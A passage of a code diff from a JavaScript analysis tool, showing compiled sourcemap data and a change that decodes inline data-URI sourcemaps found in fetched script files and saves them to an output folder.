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"}
1
+ {"version":3,"file":"sourcemap.js","sourceRoot":"","sources":["../../src/lazyLoad/sourcemap.ts"],"names":[],"mappings":"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"}
@@ -16,6 +16,7 @@ import resolvePath from "../../utility/resolvePath.js";
16
16
  import parser from "@babel/parser";
17
17
  import _traverse from "@babel/traverse";
18
18
  import { runWithConcurrency } from "../../utility/concurrency.js";
19
+ import { decodeInlineSourceMapDataUri, writeInlineSourceMap } from "../sourcemap.js";
19
20
  const traverse = ((_a = _traverse.default) !== null && _a !== void 0 ? _a : _traverse);
20
21
  const analyzedFiles = [];
21
22
  let filesFound = [];
@@ -62,7 +63,7 @@ export const parseJSFileContent = (content) => __awaiter(void 0, void 0, void 0,
62
63
  * @param {string} url - The URL of the webpage to fetch and parse.
63
64
  * @returns {Promise<string[]>} - A promise that resolves to an array of absolute URLs pointing to JavaScript files found in the page.
64
65
  */
65
- const svelte_stringAnalysisJSFiles = (url_1, ...args_1) => __awaiter(void 0, [url_1, ...args_1], void 0, function* (url, threads = 1) {
66
+ const svelte_stringAnalysisJSFiles = (url_1, ...args_1) => __awaiter(void 0, [url_1, ...args_1], void 0, function* (url, threads = 1, output = "") {
66
67
  console.log(chalk.cyan("[i] Analyzing strings in the files found"));
67
68
  while (true) {
68
69
  // get all the JS URLs
@@ -93,9 +94,17 @@ const svelte_stringAnalysisJSFiles = (url_1, ...args_1) => __awaiter(void 0, [ur
93
94
  const sourcemapMatch = respText.match(/\/\/# sourceMappingURL=(.+)$/m);
94
95
  if (sourcemapMatch) {
95
96
  const rawRef = sourcemapMatch[1].trim();
96
- const mapUrl = new URL(rawRef, js_url).href;
97
- if (!mapFilesFound.includes(mapUrl)) {
98
- mapFilesFound.push(mapUrl);
97
+ if (rawRef.startsWith("data:")) {
98
+ const decoded = decodeInlineSourceMapDataUri(rawRef);
99
+ if (decoded) {
100
+ writeInlineSourceMap(output, js_url, decoded);
101
+ }
102
+ }
103
+ else {
104
+ const mapUrl = new URL(rawRef, js_url).href;
105
+ if (!mapFilesFound.includes(mapUrl)) {
106
+ mapFilesFound.push(mapUrl);
107
+ }
99
108
  }
100
109
  }
101
110
  // iterate through the foundJsFiles and resolve the paths